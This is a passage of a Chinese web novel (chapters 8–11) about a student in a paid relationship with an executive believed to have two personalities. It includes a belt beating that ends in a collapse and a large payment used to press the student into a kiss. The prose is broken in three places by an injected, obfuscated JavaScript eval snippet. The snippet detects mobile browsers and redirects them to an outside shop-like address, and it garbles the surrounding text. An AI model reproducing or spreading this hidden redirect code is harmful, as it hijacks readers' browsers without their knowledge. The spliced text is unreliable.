走到地铁站的时候,手机震了。 一条,B703。 【小江,明天有空吗?(??ω?`)】 江云澈盯着那个emoji,正准备回,又震了一下。 A703。 【晚上八点,翡冷翠,做题。】 两条消息,间隔不到三秒。 江云澈站在地铁口,看着屏幕上两个一模一样的纯黑头像,手指悬在键盘上。 以前遇到这种情况,标准操作是先回二号,发个表情包糊弄过去,一号那边不用回,因为萧墨宸说他不想因为废话再多看一眼手机。 但是这次,“做题”两个字比那个emoji重。 模板多了两个字,说明不是模板。 这代表五天的冷处理结束了,一号重新给他派活了,有活干就代表没被开除,没被开除就代表还有钱拿。 很好,□□成功。 江云澈把手机揣进口袋,下了地铁。 . 萧氏集团,顶层办公室。 助理敲门进来,准备收拾东西下班。 萧墨宸还坐在办公桌前,面前摊着一份文件。 不是什么重要文件,是江云澈今天整理的那份数据汇总。 就三页纸。 助理犹豫了一下:“萧总,还没走?” 萧墨宸没应声,翻到第二页,手指在某一处停了一下。 那个地方,江云澈把项目三个月的数据做了一张折线图,趋势线画得很细,旁边标注了两个异常波动的可能原因,各写了两行分析。 不是什么了不起的东西,任何一个做过数据分析的实习生都能写出来。 但问题在于,没人要求他写,今天的工作内容不在这。 他只需要整理会议纪要,这是今天给他安排的全部工作。 那份数据汇总是他自己找的、自己算的、自己排的版,放在桌角,没有递进来,没有主动展示。 萧墨宸盯着那两行分析看了几秒,把文件合上,搁在一边。 助理站在门口,不知道该走该留。 “你找他聊过了?”萧墨宸问。 “聊了几句,他中午没去吃饭,我给他倒了杯咖啡。” “其他呢?” “……挺安静的,不跟别的实习生说话,也不看手机,就一直在工位上弄那些数据,下午我看了一眼他做的东西,格式挺规范的。” 萧墨宸没再问,他拿起外套站起来,走到门口的时候停了一下。 “那份西南的回访表,收好,别放在外面。” “好。” 门关上,办公室里只剩落地窗外的夜景,黄浦江的灯倒映在玻璃上,来往航船不断。 萧墨宸走到电梯口,按了下行键。 等电梯的间隙,他打开手机日历,翻到今天,在备注栏加了一行。 “总算走上正道了。” 8. 第 8 章 六点下班,八点到翡冷翠,算上地铁时间,很赶。 连吃饭的时间都没有,下了地铁,江云澈在全家买了个饭团,没时间加热,直接大口吃了下去。 冷米饭加海苔,从喉咙滑下去的时候胃抽了一下,他没当回事。 地铁上他看了一眼时间,六点五十三,换乘还有两站。按照以往经验,这趟线晚点概率百分之四十,如果赶不上七点零八那班,就要迟到十二分钟。 十二分钟。 江云澈把最后一口饭团塞进去,开始在脑子里盘算迟到扣钱和不吃晚饭晕倒哪个成本更高。 结论是晕倒成本更高,因为扣钱只是少赚,晕倒是分文不赚。 所以不能晕。 白天虽然没和萧墨宸说上几句话,但最后发的那条不是模板,说明今晚萧墨宸很可能会在翡冷翠等他。 修复关系第一战打得不是很满意,尽管已经尽力做到最好,但还是出了错,那份数据,他也不确定对方能不能看到。 现在必须启动B计划了。 整个周末,江云澈除了学习一些基本的办公知识外,还专门针对一号人格的兴趣研究了一套新的情绪管理模型。 具体做法是翻了一堆知乎和论坛帖子,关键词从“如何应对冷暴力男友”搜到“控制型人格的情绪周期”,最后筛选出三篇高赞回答,提取了共同点,整理成了一张思维导图。 通过快一个月的相处,他总结出一个规律:一号人格的情绪波动有明确的触发—发泄—冷却周期,只要走完一个完整周期,关系就会恢复。 上周三那次,触发有了,但发泄被他自己打断了——他说了那番话,成功让自己脱险,但也让一号哑火了。 周期没走完,所以卡住了。 所以今晚的逻辑很简单:把卡住的那一步补上。 打就打吧,反正上次也没出事。而且根据以往经验,走完这一步,接下来至少能稳一周。 稳一周就是两万五。 这笔账,划算。 . 来到别墅门口,如往常一样按门铃,开门,进房。 玄关里面的水晶灯很亮,江云澈一喜,金主今天果然在里面等他。 他把包放到门口,正准备低头拿毛巾,手却一顿。 他提起包,没有擦鞋底,直接走了进去。 皮鞋鞋跟一下一下落在大理石地面上,和江云澈的心跳一样,越来越快。 他觉得自己很疯狂,比以往任何一次都要大胆。上个月他连进门先迈哪只脚都要想一下,今天直接把第一步就踩在了雷区上。 客厅里的灯很亮,萧墨宸坐在沙发上,白天的西装没换,正戴着眼镜埋头批改江云澈上次的试卷,目前只改了一半。 “冰箱里有三明治,厨房有微波炉。” 江云澈被这句话弄得明显一愣。萧墨宸的意思是——冰箱里有吃的,他可以吃? “愣着做什么,我还没吃晚饭。”萧墨宸抬起头来,目光撇过江云澈的时候明显顿了一下,但什么也没说。 哦,原来只是让自己去热饭。 “我马上去。” 江云澈把书包放下,转身去了厨房。 冰箱里有两个独立包装的三明治,他多看了一眼,但没多想,取了一个出来,打开包装,放进微波炉。 等待的那30秒,微波炉里的灯光照着三明治慢慢转圈。 叮。 江云澈拿出来,想了想,直接连着包装袋放到了茶几上。 “去拿盘子。”萧墨宸头都没抬。 江云澈转身去厨房,拿了个骨碟出来换上,然后去书包里翻试卷和笔,坐到地毯上。 三明治原封不动放在那,萧墨宸没动,继续翻着批了一半的卷子。客厅很安静,只有笔尖落纸的声音。 江云澈写得很快。 有几道题他认出来了,上周做的错题,萧墨辰让他整理到错题本上的。他把那几道原封不动又做错了。 写完,放下笔,等着。 没有声音。 过了大概两分钟。 “过来。” 江云澈膝行到萧墨宸腿边,低着头。 一只手伸过来,抽走试卷。 安静。 “上周刚改过。” 江云澈没吭声。 “原封不动再错一遍。” 还是没吭声。 萧墨宸把试卷丢在茶几上。 “脑子不好使,还是不长记性?” 江云澈低下头。 “忘了。” 那两个字让萧墨宸的颌骨紧了一下。 “好,趴着。” 他指了指茶几桌角。 江云澈走过去,弯腰,撑住桌沿。 胃又抽了一下,被他压下去了。 萧墨宸没去拿那根专用的皮带,直接从自己腰上抽了下来。 第一下落下来的时候,江云澈咬住下嘴唇,没出声。 第二下。 第三下。 和上次不一样。 以前挨打的时候,江云澈脑子里是有一条线的——第三下换气,第五下咬唇,第七下发出声音,声音不能大,刚好让对方听见就行。这条线是他在翡冷翠前三次就被训练出来的,跟条件反射一样,不用想,身体自己会走。 但今天那条线还在,身体跟不上。 每一下落下去都没什么反应,不是忍的,是没力气了。 萧墨宸停了一下。 江云澈低着头,额角有汗,但姿势很稳。 第四下。 落下的瞬间,江云澈撑着桌沿的手指松开了。 不是慢慢滑下去,是整个人像被拔了插头一样,直直往前栽。 额头磕上茶几角边缘,然后侧倒在地上,没有任何缓冲。 萧墨宸的手停在半空。 他看着地上的人。 “江云澈。” 没有反应。 皮带掉在地上,萧墨宸弯腰,手指搭上颈动脉,跳得快,但很弱。手贴上额头,凉的,再贴胃部,江云澈皱紧了眉头,嘴唇白得没有血色。 萧墨宸把人抱起来,往楼上走。 放到床上,拉好被子,拿手机点外卖。 热粥,葡萄糖,胃药,退烧贴,创可贴。 下单,加急。 . 江云澈的备忘录?22:47 【紧急存档】B计划执行结果:失败。不是计划的问题,是我的问题。冷饭团杀伤力约等于核武,另外晕倒前能不能闪个红灯?直接黑屏很不体面。还有,那个包磕得估计要肿,明天怎么上班,算工伤吗? . 外卖和药差不多同时到。 萧墨宸拆了葡萄糖,把江云澈上半身撑起来靠在枕头上,捏开嘴,一点一点倒进去。 流出来一些,拿纸擦掉,继续喂,喂完一支,等了几分钟,又喂了一支。 然后去热粥。 回来的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552818|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,江云澈睫毛动了一下。 萧墨宸在床边坐下。 几分钟后,江云澈睁开眼,视线散了一会儿,慢慢聚焦到萧墨宸脸上。 “醒了。” “嗯。” “别动。” 江云澈没动。 萧墨宸把粥端起来,舀了一勺,吹了吹,递过去。 江云澈张嘴吃了。 第一口下去,胃里绞着疼的地方被烫开了,热的。 眼睛莫名其妙有点酸,他咽了下去,和粥一起。 一口一口,一勺一勺,中间没人说话。 喝了半碗,萧墨宸把碗放下。 “从进门不擦鞋起,你每一个都是故意的。” 江云澈看着他。 “跟谁学的。”萧墨宸声音很平,“觉得我欺负你,赌气?” 江云澈摇了摇头。 “没人教我。” “没人教你能想出这套?先小错再大错,一声不吭挨完——给你点颜色你就开染坊。” 给他颜色?什么颜色,五天冷处理的颜色还是7.3%的颜色? “说话。” 江云澈顿了顿。 “你上次生我的气,我理解,是我没做好。” 萧墨宸看着他,没接话。 “所以我想着……让你把气出了,就正常了。” 房间安静了几秒。 萧墨宸低头看了他一会儿,伸手把他额前的头发拨上去,碰到那个肿起来的包时指尖顿了一下。 没说什么,拆了一包退烧贴,贴在了江云澈脑门上。 “翻过去。” 江云澈愣了一下,慢慢翻身趴好。 萧墨宸掀开被子一角,看了一眼,没出声,戴上手套拧开药膏挤了一点,涂上去。 “疼就说。” “不疼。” 手指上的力道轻了一点。 上完药,盖好被子,萧墨宸又把粥端了起来。 “剩下的喝了。” 江云澈翻回来,靠在枕头上,把半碗粥喝完。碗放到一边,萧墨宸抽了张纸巾擦他嘴角。 “今晚睡这,不舒服叫我。” 说完灯就关了。 萧墨宸躺到旁边,没碰他。 黑暗里安静了很久,江云澈翻了个身,避开额头贴退烧贴的那一侧。 “江云澈。” “嗯?” “三明治是下班路上买的。” “哦……” “这几天出差去了趟国外,微信让助理在管。” 江云澈没说话。 “本来打算告诉你,但你进门鞋底踩了一串泥印子。” 江云澈:“……” “就不想说了。” “那后来为什么让我热。” “因为确实没吃。” 江云澈在黑暗里鼻子哼了一声,算不上笑。 萧墨宸没再说话。 江云澈闭上眼睛,胃里是热的,额头上是凉的。 手机亮了一下。 辅导员发来一条消息,下面配了张文件截图。 ——校庆活动,你第二课堂分不够,学院强制参加。 江云澈点开图片。 【校庆活动志愿者名单确认】 江云澈同学你好,你已入选校庆活动志愿者,周日上午9点在行政楼集合,请准时参加。收到请回复。 江云澈看了五秒。 【收到。】 9. 第 9 章 收到那条消息之后,江云澈以为自己是去搬凳子发矿泉水的。 结果第二天辅导员把他叫到办公室:“独唱那个嗓子发炎来不了了,你上,刚好剩下的学分给你加满。” 江云澈想拒绝,但一次性加满学分对他诱惑实在太大。 第二课堂差的那两分,够他跑两个月志愿活动,现在唱一首歌就能解决,这笔账没有任何犹豫的余地。 问题是,他上次正经唱歌还是高三毕业晚会,在镇上唱了一首《父亲》,唱完奶奶在他爸的牌位前多了三炷香,他至今还不知道什么原因。 选歌是辅导员定的,一首《如愿》,据说最近很火,他昨晚在宿舍跟着原唱练了六遍,室友差点把他从窗户扔出去。 . 校庆当天,礼堂坐满了人。 江云澈坐在后台的折叠椅上,腿上搁着一张节目单,已经被他翻卷边了。 旁边是各种节目的演员在化妆、对台词、拉伸,嘈杂得要命。有个跳古典舞的女生在压腿,骨头咔咔响,江云澈听了觉得自己膝盖也开始疼了。 他偷偷从幕布侧面的缝隙往观众席看了一眼。 第三排靠走道的位置,二号陆墨辰穿了一件白色衬衫,袖子卷到小臂,正朝舞台这边看,发现江云澈在看他,他立刻举起手机晃了晃,屏幕上滚动的三个字: “别紧张。” 江云澈缩回去,嘴角不自觉翘了一下。 然后默默打开备忘录: “二号到了,一号不来也正常,他没空参加这种场合。” 合上手机,深吸一口气。 不管了,随便上去嚎两嗓子,学分够了就好好挣钱。 . 节目按顺序推进。 前面一个朗诵,一个吉他弹唱,一个街舞,一个相声。 江云澈继续从缝隙看观众席。陆墨辰还在,但中间换了个坐姿,他从正坐变成了侧坐,手肘撑在膝盖上,歪着头看舞台。 他的目光无意间扫过二号身后更远的位置。 最后一排,靠角落,灯光照不到的地方,恍惚间好像有个笔直的黑色身影。 西装,黑色,肩线笔直,坐姿端正,脊背挺得像一把尺。 江云澈的手指停了。 那个坐姿太熟悉了。一号萧墨宸办公室看合同的时候是那个姿势,在车里等人的时候是那个姿势,让他跪在面前审问他的时候也是。 腰不会塌,肩不会歪,像一棵笔直的白杨树。 他盯着那个背影看了五秒。 然后脑子里的第一反应不是“一号来了”,而是,不对。 二号就在第三排。 一定是太紧张看错了。灯光暗、人又多,只是坐姿像而已。 这世上穿黑西装坐得直的人又不是只有他一个。 江云澈猛地缩回头,后背撞在幕布支架上,发出一声轻响。 旁边化妆的女生看了他一眼:“你没事吧?” “没事,有点紧张。” 他低下头,手指冰凉,但脑子是清醒的,主人格和副人格不会同时出现,这是常识,刚才那个只是像,不可能是。 . “下一个,第八个节目,独唱,《如愿》,请准备。” 江云澈站起来,太久没上台了他腿有点软。 走上舞台,聚光灯打下来,台下黑压压一片,室友说要来看他,但他看不清脸。 前奏响起来。他握住麦克风,深吸一口气,开口。 前三十秒很顺利,嗓音没什么问题,调也跟得上伴奏,比昨晚在宿舍唱的好,可能是礼堂的混响帮他遮了不少毛病。 第一次间奏的间隙,江云澈的目光不由自主地飘向第三排。 陆墨辰还在。正看着他,嘴角带着笑,还在用手机拍。 然后他的视线又飘了一下,飘向最后一排角落。 那个背影不见了,座位是空的。 江云澈的节奏断了一个拍子,好在间奏还在继续,麦克风没收进这个声音。 那个人走了。 走了就走了呗,本来就不是一号,走了有什么好慌的? 第二段主歌进来了。 他正在想别的事情,愣住,唱错了,一个音唱飘了。 江云澈的声音在某个高音的位置劈了一下,发出一声不协调的破音。 台下有零星几个人转头看舞台。 他迅速压低音量,绕过那个高音,啰了过去,硬生生把后面的段落接了回去。 剩下三分之一的歌,他再也没有往观众席看过一眼,眼睛死死盯着提词器,把每一个字都咬得很准,像在读考研政治题。 . 唱完,掌声响起来,稀稀拉拉的,比前面几个节目少了不少,毕竟那个破音确实有点突兀。 江云澈站起来鞠躬,快步下了舞台。 后台有人拍了拍他的肩:“唱得不错,就是中间那个高音有点飘。” 他没心思回应,绕过所有人,从侧门冲出礼堂。 走廊里没人。他快步走向最后一排的入口,推开侧门,目光直直扫向那个角落。 座位上是空的,但座位扶手上搭着一条围巾,深灰色,羊绒,叠得很整齐。 江云澈走过去,拿起围巾。 不是一号的。 萧墨宸不用围巾,冬天穿大衣从来不围东西,他嫌麻烦,而且这个标签他没见过,应该是小众品牌,金主爸爸用的东西他基本都认识,全是看不懂但很贵的logo。 他站在那里,攥着围巾,笑了。 果然是看走眼了,坐姿像而已,穿黑西装而已,这个世界穿西装的人多了去了。 他把围巾放回扶手,转身准备回后台。 经过走廊转角的时候,一个穿黑色西装的人迎面走过来。 江云澈的心跳猛地加快。 但那人走近了,不认识,脸不一样,身高差了至少三厘米,肩线也没那么宽。 “同学你好,请问出口在哪?”那人礼貌地问。 江云澈指了指方向:“前面左转。” “谢谢。”那人走过去了。 江云澈靠在墙上,长长地吐出一口气。 果然想多了。 他在心里默念:“又走眼了,最近上班被折磨得神经衰弱,看谁都像萧墨宸。” . 江云澈回到后台,收拾东西准备走。 陆墨辰发来消息:“我在南门等你!刚才唱得超级棒!中间那个小失误没人注意到的!” 没人注意到?行吧,你说没人注意到就没人注意到。 他回了个笑脸,弯腰把书包从椅子下面拽出来,拉链旁边是空的。 公仔呢? 他明明记得出门前犹豫了一下,最后没摘,还挂在上面的,因为他觉得今天大概率来的会是二号。 他翻了翻书包,没有,蹲下来看椅子底下,也没有。 完了,一定是刚才从侧门冲出去的时候太急,路上掉的。 江云澈叹了口气,原路返回,从后台到侧门,穿过走廊,走到最后一排的入口,他蹲下来,沿着刚才走过的路线往回找。 走廊里没人,灯光很暗,视线贴着地面一点点扫过去。 没有。 走到最后一排那个角落的座位旁边,还是低头找了一圈。 还是没有公仔。 但是,座位旁边的地毯上,在扶手和座椅之间的缝隙里,有什么东西在灯光下反了一下。 江云澈伸手进去摸了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552819|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸到了,很小,金属质感,边缘有点凉。 他捏出来,举到眼前。 是一枚袖扣。 黑色珐琅底,银色边框,正面刻着一个极精细的家族徽章。 他想起自己替一号脱过那套西装,袖扣就是这个,扣子很难解,他解了好久,当时还心想谁家袖扣这么难使,印象深刻。 而这枚上面的徽章,和一号那套上的一模一样。 江云澈的手指慢慢收紧,他再次想到刚刚那一幕: 最后一排,角落,黑色西装的背影,袖扣。 他站在那个空座位旁边,心口莫名慌了一下。 同一个人,怎么可能同时出现在两个地方? 他强迫自己别乱想,DID 怎么可能分裂成两个活人。 手机就在这时震动了,他低头看。 来自微信,纯黑底色无昵称,A703 给他发了一条消息: 【表演不错。】 四个字,没有前因后果。 发送时间两分钟前,正是他从侧门冲出去的那一刻。 江云澈盯着那枚袖扣看了三秒,然后他自己把思路拧回去了。 想什么呢。 全世界的工厂哪有只生产一件衣服的?黑色珐琅配银边,商务款,他安慰自己,天下穿黑西装的人多了,只是坐姿像而已。 至于同时出现这个可能—— 没准就是他破音那个瞬间,一号突然夺舍了,想跳起来打他吧。 毕竟按一号萧墨宸那个性子,这完全说得通。 他打开备忘录: “差点以为一号人格和二号是两个人,现在看来只可能是萧墨宸突然顶号,嗯,看来以后和二号相处也不能露馅,不然一号人格突然顶号抽他,他要吓死。” “另外,公仔又丢了,上次三千八,买不起了,得想个别说法。” 他把袖扣揣进口袋,然后离开了。 . 出校门的时候,二号正在南门的路灯下朝他挥手,笑得很灿烂。 “小江!这里这里!” 江云澈走过去。 路灯把二号罩在一圈暖光里,白色衬衫领口微微敞着,手里拎着两杯奶茶。 “给,小江,冬天的第一杯奶茶。”陆墨辰把其中一杯递过来。 “谢谢。” 江云澈伸手去接,指尖碰到杯子的时候,他抬了一下眼。然后手顿了。 陆墨辰正看着他。 不是以前那种看他的方式,以前二号看他,温柔、亮晶晶的,像小狗看见骨头,热情但没什么攻击性。 现在那双眼睛还是那个形状,里面装的东西不一样了,很沉,很定,没有躲也没有飘,直直地落在他脸上,像钉子钉进来,跟萧墨宸看他的时候一模一样。 江云澈握着奶茶,脑子里只闪过一个念头。 我擦。真顶号了? 拜托,今天是毛绒绒日,二号好不容易出来放个风,一号你能不能乖乖休息,我不想看到你。 “怎么了?”陆墨辰歪了下头。 江云澈飞速扫了一眼:站姿微微歪着重心,不是萧墨辰那白杨杆子;手里的奶茶喝了一半,萧墨宸从来不喝奶茶,歪头的角度、尾音上扬的弧度,全是二号的。 不是一号,是二号!但那个眼神…… “小江?怎么了,被吓到了?那个表演很精彩,瑕不掩瑜。”陆墨辰嘴角上扬,笑得很亲切。 “没,”江云澈把手插进口袋,指尖碰到那枚袖扣,冰的,“走吧。” 他转过身走在前面,身后传来陆墨辰的脚步声,不紧不慢,距离比以前近了一点。 江云澈没回头看。 但那个眼神还落在他后背上,没有移开。 10. 第 10 章 两人走在校园里,一前一后,各自捧着一杯奶茶。 江云澈感觉身后有道视线一直钉在自己后背上。 以前陆墨辰虽然也会看他,但每次他发现一眼对方就撇过去了,不会像现在这样。 他莫名加快了脚步。 “走慢点。” 陆墨辰突然跨步上来,拉住他的手,力道比哪一次都重。 江云澈下意识想抽回来,没抽动,对方攥得很紧,像怕他跑了似的。 “我们今天去哪玩?逛夜市吗?”他问。 陆墨辰没回答,又贴近了一步,近得江云澈耳根瞬间红了,他的气息打在江云澈耳畔,“今天陪我去一个地方,可以吗?” 一个地方?什么地方需要这样问。 江云澈的职业属性决定了他不能深究,更不能拒绝。 “……行,你说去哪就去哪。” 他又掰了一下手指,没掰开,对方根本不打算松。 . 打车,下车,进了商场顶层。 陆墨辰拉着他直奔最里面那家,门面不大,但装修一看就贵。前台没有价目表,只摆着几杯红酒。 一家高档私人放映室(私人影院老钱版)。 江云澈脚步顿了一下。以前陆墨辰带他去的都是游乐场、夜市、商场,那种走到哪玩到哪的地方。私人放映室不一样,这种地方只有情侣才会来,太暧昧,太越界。 虽然包养关系写在合同里,但二号不是这样的。 不对,从南门那个眼神开始就不对劲,可他能怎么办?已经上贼床,不贼船了。 他没再多想,反正金主说去哪就去哪。 . 前台办完手续,从前厅到包间有相当长一段走廊。 江云澈低着头跟在陆墨辰身后,走廊里不时迎面走来些情侣,女士精致优雅,男士清一色西装革履。 他低头看了看自己,为了迎合陆墨辰特意换的毛绒外套,里衣领口上还有刚刚后台擦到的粉底液,再看陆墨辰,长款黑色风衣,走在这种走廊里跟走在自家客厅似的。 江云澈紧紧跟在对方身后,把自己藏起来。 前方房间门突然被推开,一个穿深黑西装的男人大步走出来。江云澈本来没打算看,但余光扫到那瞬还是顿了一下,那个人轮廓很深,鼻梁高得不真实,脸太出挑了,像杂志封面直接走进现实。 席安澜,韩国选秀回来的明星,最近热度蛮高。 男人身后追出来另一个人,比他还高半个头,衬衫扣子系错了两颗,领口歪到锁骨底下,脖子上的红痕明晃晃的。脸上只有急,三步并两步追上去,一把拉住席安澜的胳膊。 经过他们时,那人偏头看了陆墨辰一眼,点了下头。 “小明总。”他听到陆墨辰喊了一声。 对方没停,拉着席安澜径直走了,留下一句压低的“你先别走”。 “后面那个是明家的明总,前面那个是明星,明总的情人。”陆墨辰解释道。 他说“情人”两个字的时候刻意加重了,视线落在江云澈身上。 江云澈没吭声,他第一次意识到二号本质上还是那个人,萧氏集团的萧总。 . 推开门,整面墙都是投影幕布,泛着微弱的蓝光。沙发是一整张深灰色L型皮沙发,矮桌上摆着果盘和气泡水,角落有个小吧台,酒瓶排列得整整齐齐。 灯光是暖的,调得很暗,像某种刻意的氛围。 门在身后关上,咔嗒一声。 “小江,第一次来?这么紧张。”陆墨辰轻笑。 “第一次。”江云澈诚实回答。 “放轻松,就看个电影,我不喜欢去电影院,人太多,这里安静。”他说这些话的时候看似在安慰,眼神却一直放在江云澈身上。 “走,去换衣服。” 江云澈疑惑,看个电影还要换衣服?等陆墨辰拿着一件深褐色真丝睡衣到他面前时,他才反应过来自己被领到了换衣间里。 “这里衣服只穿一次,很干净的,要不然你先洗个澡也行?” 他这才注意到衣帽间背后是一个高端淋浴间。 为了避免在陆墨辰面前脱光,江云澈接过衣服光速往后面跑了。 只不过他走得太急,没注意到背后,陆墨辰看他的眼神越来越深。 . 等他换好衣服出来,陆墨辰已经坐在沙发上了,风衣脱了,袖子卷到小臂,手里拿着遥控器。 真丝睡衣穿在身上比想象中滑,江云澈不太适应,走路都变小心了,两只手不知道往哪放,最后交叠着揣进袖子里。 “过来坐。” 他走过去,在沙发另一头坐下,隔了一个半人的距离。 陆墨辰按了下遥控器,幕布亮了,电影开始了。片名是一串外文,看画面质感应该是个文艺片,开头很正常,男女主角在酒会上认识,聊天跳舞,镜头很慢很安静。 他稍微松了口气,但越往后越不对。 两个人的关系开始变得暧昧,画面里没有任何露骨内容,但每一帧都拍得又沉又黏,从手指碰到手腕,视线在嘴唇上停了半秒又移开,关灯后黑暗里只有呼吸声。 然后镜头切到床边,什么都没拍,只拍了床单的褶皱在动,和一段很长的喘息。 江云澈的脸开始发烫,从耳朵根一路烧到脖子,拿起气泡水喝了一口,冰的,压不下去。 他不敢看屏幕了,视线不知道往哪落,最后落在旁边陆墨辰的侧脸上。 对方在看他。已经不知道看了多久。 屏幕上模糊的光打在陆墨辰脸上,明暗交替,看不清表情,但那条视线比刚才在走廊里还要沉。 江云澈心虚地移开眼,手指在袖子里攥紧了。 然后他的手被抓住了。 陆墨辰不知道什么时候靠了过来,攥住他揣在袖子里的手腕,把他的手一点点拉出来。 “小江。”陆墨辰声音不高,但很沉,“你知道我喜欢你,对吧?” 江云澈愣住了。 “我带你去看海,去鬼屋,去夜市,去度假公园,你知道我在追你吗?” 他当然知道。 从签协议那天起就知道,那天萧墨辰第二次来到他卖酒的酒吧,说的不是“我包养你”,而是“我给你钱,你和我谈恋爱,好吗?” 不是交易,是请求,那种小心翼翼的、怕被拒绝的语气,和一号完全不一样。 后来他才知道当时那个人是萧墨宸的第二人格。 之后的每一次约他出门,二号都像是真的在追一个人,会提前查天气,会记得他随口说过的话,走累了会蹲下来问“要不要我背你”。 他一直把这些归类为“二号人格的行为模式”,二号就是想找个陪玩,不需要他真正做一些包养关系应该做的事情。 只是今天,这一切似乎变味了。 “我知道。”江云澈点了点头。 陆墨辰的手指收紧了一点。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552820|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那你知道,”他低声说,“协议里,本来就允许这些,对吧?” 空气安静了两秒。 江云澈终于点了点头。 “……如果你想的话,可以。” 这一天终于还是来了。 “接吻,包括在这个范围里吗?” 陆墨辰问得很轻。 可江云澈还是听出来了,那不是商量。 “我……”话卡在嗓子里,接吻。 这个他原本以为包养之后会经常发生的事情,事实上到现在一次都没有,无论一号还是二号。 陆墨辰低头点手机的时候,动作停顿了两次。 口袋里的手机震了一下,微信转账,100,000元。备注:今天的。 十万,之前每次报酬五千,偶尔一万多。 不是钱的问题,是这个金额传递的信号太明确了,这不是陪玩的工资,这是买断某一根底线的价格。 他盯着数字看了三秒,把屏幕按灭,没有拒绝的余地。 “……小江。” “你是不是更喜欢别人那样对你?” “……没有。” 陆墨辰的眼神暗了一下,很短,大概一秒。 “只有我一个。”他重复了一遍,声音更低了。 江云澈心里隐隐觉得不对,但来不及多想。 陆墨辰的手覆上了他的后颈,掌心很热,手指收拢,扣住他的后脑勺。 然后吻下来了。 嘴唇贴上嘴唇,带着一点气泡水的甜味。 江云澈整个人僵住,嘴唇紧紧闭着,眼睛闭得死紧。 他以为接吻就是嘴唇碰一下,电视剧里不都是这样吗,贴上去,停几秒,分开。 但陆墨辰没有分开。对方的嘴唇压在他嘴上轻轻蹭了一下,像在试探。然后微微退开一点距离,呼吸打在他嘴唇上。 “张嘴。”声音很低,带着一点哑。 江云澈没反应过来。陆墨辰看着他,拇指按在他下颌上,轻轻往下一压。 江云澈的嘴唇被迫松开了一点—— “嗡嗡嗡——” 手机震了起来,两个人同时顿住。 江云澈像被救了一样猛地睁开眼,慌忙掏出手机,是辅导员来电。 “喂,王老师。” “江云澈,明天早上八点来趟办公室,奖学金综测上签个字。” “好的好的,没问题。” “行了,早点休息。” “辅导员找我有事,我、我去回个电话。” 他没等陆墨辰回答,逃进了换衣间里的卫生间,关上门,反锁。 背抵着门板,大口喘气,嘴唇上又麻又涨,指尖碰到的地方微微发烫。 如果辅导员不打那个电话,如果陆墨辰再多压一秒…… 他把脸埋进手心,手指冰凉,耳朵滚烫。 . 卫生间外面,换衣间的地上。 一张白色卡片安静地躺在地毯边缘,是江云澈刚才慌慌张张跑进来时从卫衣口袋里滑出来的。 陆墨辰低头看了一眼,卡面上印着“萧氏集团”的logo,下面一串工号。 他弯腰捡起来,在手里转了一下。 萧氏。 他把卡放进了自己的口袋里。 水龙头的声音还在响。 他没进去,只是靠在走廊的墙上,回味刚才江云澈的反应。 接吻很青涩,像是第一次。 11. 第 11 章 江云澈翻遍了所有口袋,没有。 卫衣口袋、裤子口袋、书包夹层,连昨天换下来那件衣服都翻了一遍。 门禁卡不见了。 昨晚从私人放映厅回来他倒头就睡,根本没检查口袋,以为掉在路上了,打算到前台补办一张。 但问题是,没有门禁卡,他连萧氏集团的电梯都按不了。 江云澈站在宿舍楼下,深吸了一口气。 迟到是肯定的,区别只在于迟到多久。 . 前台登记的时候,前台小姐看了他两眼。 “请问您找哪位?” “萧总。” “请问您是?” “……实习生。” 前台打了个电话,让他坐在大厅等着。 等了十五分钟,助理才下来接他,全程没说话,脸上也没什么表情,但在电梯里看了他一眼。 那一眼的意思很明确:你迟到了,你完了。 没错,他死定了,萧墨宸对时间观念要求精确。 江云澈低着头没吭声。 电梯到了顶层,助理领他往办公室走。 门是关着的,助理敲了两下,里面没应声,又敲了一下,“萧总,江云澈到了。” “进来。”里面的声音很轻,听不出什么情绪。 助理推开门,侧身让江云澈进去,然后自己没跟进来。 门在身后关上了。 江云澈走到办公桌前,站定,低头,等候发落。 安静了很久,一道声音在正前方响起。 “门禁卡呢。” “丢了,昨晚——” “迟到二十分钟。”萧墨宸没等他说完,语气和平时一样,没有加重,没有变调,像在念一行数据。 但江云澈的后背还是绷紧了。 不是因为这四个字本身,而是因为这四个字说出来的方式,以前萧墨宸训他,虽然也是这种语气,但底下压着一股实实在在的压迫感,像暴雨前那种闷。 今天没有,今天就是平的,这种平静反而更恐怖。 明明上次在翡冷翠对方照顾他一晚上后,他们的关系就好很多了的,现在,一切归零。 “去墙边站着。” 江云澈走过去,站好。 他该庆幸萧墨宸不是让他直接跪下,这是在公司,或许对方也怕他丢人。 办公室很安静,只有萧墨宸翻文件的声音。 